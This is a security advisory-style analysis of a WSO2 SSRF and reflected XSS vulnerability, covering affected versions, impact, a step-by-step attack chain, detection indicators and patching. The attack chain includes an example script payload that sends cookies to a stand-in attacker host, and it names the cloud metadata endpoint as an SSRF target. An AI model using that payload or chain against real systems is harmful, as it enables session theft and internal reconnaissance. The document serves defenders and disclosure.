CVE-2025-5350: 
WSO2 API Manager vulnerability analysis and mitigation

CVE-2025-5350 describes combined Server-Side Request Forgery (SSRF) and Reflected Cross-Site Scripting (XSS) vulnerabilities present in the deprecated "Try-It" feature across multiple WSO2 products. The feature, accessible only to administrative users, accepted user-supplied URLs without proper validation, enabling SSRF; retrieved content was then reflected directly in HTTP responses, enabling reflected XSS in the admin's browser context. Affected products include WSO2 API Manager (versions 3.1.0–4.5.0), Identity Server (5.10.0–7.1.0), Enterprise Integrator 6.6.0, Universal Gateway 4.5.0, API Control Plane 4.5.0, Traffic Manager 4.5.0, Open Banking AM/IAM 2.0.0, and Identity Server as Key Manager 5.10.0. The vulnerability was published on October 24, 2025, with a CVSS v3.1 base score of 4.8 (Medium) (Red Hat CVE, WSO2 Advisory).

The root cause is twofold: improper neutralization of input during web page generation (CWE-79, Reflected XSS) and Server-Side Request Forgery (CWE-918). The deprecated Try-It feature passed user-supplied URLs directly to server-side HTTP requests without allowlist validation or sanitization, and then reflected the fetched content verbatim into the HTTP response. Exploitation requires an attacker to trick an authenticated administrator into clicking a crafted link; the server then fetches attacker-controlled content and reflects it into the admin's browser, executing arbitrary JavaScript. While session cookies are protected by the HttpOnly flag (limiting direct session theft), the XSS still enables UI manipulation, credential phishing, and data exfiltration within the admin context. The SSRF component additionally allows a privileged user to probe internal network services reachable from the WSO2 server (Red Hat CVE, WSO2 Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in an administrator's browser context, enabling UI manipulation, phishing for credentials, and exfiltration of data accessible within the admin session. The SSRF component can be leveraged by a privileged user to enumerate internal network services and query internal endpoints reachable from the affected WSO2 product, potentially aiding in lateral movement or further infrastructure reconnaissance. Confidentiality and integrity are both impacted at a low level per the CVSS scoring, with no direct availability impact; however, the administrative context of exploitation elevates the practical risk (Red Hat CVE, WSO2 Advisory).

No public exploit code or active in-the-wild exploitation has been confirmed as of the available data. The EPSS score is approximately 0.036% (0.000360), indicating a low probability of exploitation in the near term. Nuclei detection templates for this CVE have been added to the ProjectDiscovery nuclei-templates repository (commits merged in May–June 2025), enabling automated scanning for vulnerable instances (Nuclei Templates). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires high privileges (administrative access) and user interaction, significantly limiting the attack surface.

1. Reconnaissance: Identify internet-facing WSO2 product instances (API Manager, Identity Server, etc.) running affected versions using tools like Shodan, Censys, or the available Nuclei templates targeting the Try-It feature endpoint.
2. Craft malicious URL: Prepare a URL pointing to an attacker-controlled server that serves a payload containing malicious JavaScript (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or similar XSS payload).
3. Social engineering: Deliver a crafted link to an authenticated WSO2 administrator via phishing email, chat, or other means. The link must target the Try-It feature endpoint with the attacker-controlled URL as the input parameter.
4. SSRF trigger: When the administrator clicks the link, the WSO2 server fetches the attacker-controlled URL server-side, potentially also probing internal services if the URL targets internal network addresses (e.g., http://169.254.169.254/ for cloud metadata, or internal service IPs).
5. Reflected XSS execution: The fetched content (containing the malicious JavaScript payload) is reflected directly in the HTTP response rendered in the administrator's browser, executing the script in the admin's session context.
6. Post-exploitation: The executed JavaScript can exfiltrate form data, perform actions on behalf of the admin, manipulate the UI, or enumerate internal resources accessible via the admin interface (WSO2 Advisory, Red Hat CVE).

• Network: Outbound HTTP/HTTPS requests from the WSO2 server to unexpected external or internal IP addresses originating from the Try-It feature; requests to cloud metadata endpoints (e.g., 169.254.169.254) or internal RFC-1918 addresses from the WSO2 process.
• Logs: WSO2 access logs showing requests to the Try-It feature endpoint with unusual or external URLs as parameters; HTTP responses containing <script> tags or encoded JavaScript in server logs.
• Network: Unexpected DNS lookups or HTTP connections from the WSO2 server to attacker-controlled domains shortly after an administrator session interacts with the Try-It feature.
• Logs: Browser-side console errors or network requests (captured via proxy) showing JavaScript execution originating from WSO2 admin pages fetching external resources.

WSO2 has released patches addressing CVE-2025-5350, detailed in security advisory WSO2-2025-4124. Administrators should apply the relevant patches for their product and version as specified in the advisory. As an immediate workaround, the deprecated Try-It feature should be disabled if not in use, since it is accessible only to administrative users and is no longer actively maintained. Restricting administrative interface access to trusted networks via firewall rules or VPN further reduces exposure. Organizations should review WSO2's official advisory for product-specific patch instructions and update timelines (WSO2 Advisory).

A technical write-up on the SSRF aspect of this vulnerability was published at crnkovic.dev, providing additional context on the exploitation mechanics (crnkovic.dev). The vulnerability was noted on Bluesky by CVE tracking accounts shortly after disclosure. ProjectDiscovery added Nuclei detection templates for CVE-2025-5350 in their v10.4.2 release, reflecting community interest in automated detection (Nuclei Templates Release). No major vendor statements beyond WSO2's own advisory or significant media coverage have been identified.